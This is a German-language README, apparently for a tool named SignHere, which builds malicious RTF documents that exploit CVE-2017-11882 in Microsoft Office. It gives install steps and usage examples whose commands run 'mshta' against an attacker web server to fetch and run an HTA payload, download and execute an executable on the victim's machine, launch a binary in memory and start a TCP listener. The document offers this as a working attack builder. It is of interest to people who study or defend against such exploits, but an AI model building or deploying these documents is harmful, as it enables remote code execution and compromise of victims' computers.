retr0-code/signhereSignHere ist eine Implementierung von CVE-2017-11882. SignHere ist ein Builder für bösartige rtf-Dokumente und VBScript-Payloads.
CVE-2017-11882 – Die eindeutige Schwachstellenkennung für Microsoft Office 2007 Service Pack 3, Microsoft Office 2010 Service Pack 2, Microsoft Office 2013 Service Pack 1 und Microsoft Office 2016 ermöglicht es einem Angreifer, Code im Kontext des aktuellen Benutzers auszuführen, ohne Objekte im Speicher ordnungsgemäß zu behandeln – die sogenannte „Microsoft Office Memory Corruption Vulnerability“. Die Implementierung umfasst die Erstellung eines Programms zum Bau bösartiger RTF-Dokumente und Payloads in VBScript.
Es sind RTF-Dokumente anfällig, da sie durch spezielle Befehle – RTF-Header – „programmierbar“ sind. So wird im Dokumentenkörper ein binäres (ausführbares) Objekt erstellt, tatsächlich eine Microsoft Equation-Formel mit dem Code, der den Befehl cmd enthält. Anschließend kann der Payload in VBScript generiert und mit dem Befehl „mshta Link zur Payload-Datei“ die HTA-Datei ausgeführt werden.
Autor und Mitwirkende übernehmen keine Haftung für Schäden, die Ihnen oder durch Sie verursacht werden.
Sie können Termux verwenden, allerdings benötigt die Programmausführung Root-Rechte.
git clone https://github.com/Retr0-code/SignHere/
cd SignHere/
chmod +x SignHere.py
./SignHere.py --help
Zuerst müssen Sie das Archiv herunterladen. Entpacken Sie es dann und öffnen Sie in diesem Ordner ein PowerShell-Fenster und geben Sie Folgendes ein:
.\SignHere.py --help
./SignHere.py --cmd "mshta http://192.168.1.74/pay.hta" --powershell "start iexplore.exe https://github.com/Retr0-code/SignHere" --ip 192.168.1.74 --output generated.rtf
--cmd Argument mit dem Windows-Befehl, der nach dem Öffnen des Dokuments ausgeführt wird.
--powershell Argument mit dem PowerShell-Befehl, der im VBScript-Payload enthalten sein soll.
--ip Argument mit der IP-Adresse, die für den Webserver verwendet wird. (Standard: 127.0.0.1)
--output Name und Pfad des Dokuments.
./SignHere.py --cmd "mshta http://192.168.1.74/pay.hta" --temp exploit.exe --ip 192.168.1.74 --output generated.rtf
--temp Argument, das eine Binärdatei als Payload verwendet (die Binärdatei wird im RAM gestartet).
./SignHere.py --cmd "mshta http://192.168.1.74/pay.hta" --payload exploit.exe --ip 192.168.1.74 --listener-host 192.168.1.74 --output generated.rtf
--payload Argument, das eine Datei auf den Computer des Opfers herunterlädt und ausführt.
--listener-host Argument zum Starten eines TCP-Listeners auf der aktuellen IP (Standard: 127.0.0.1)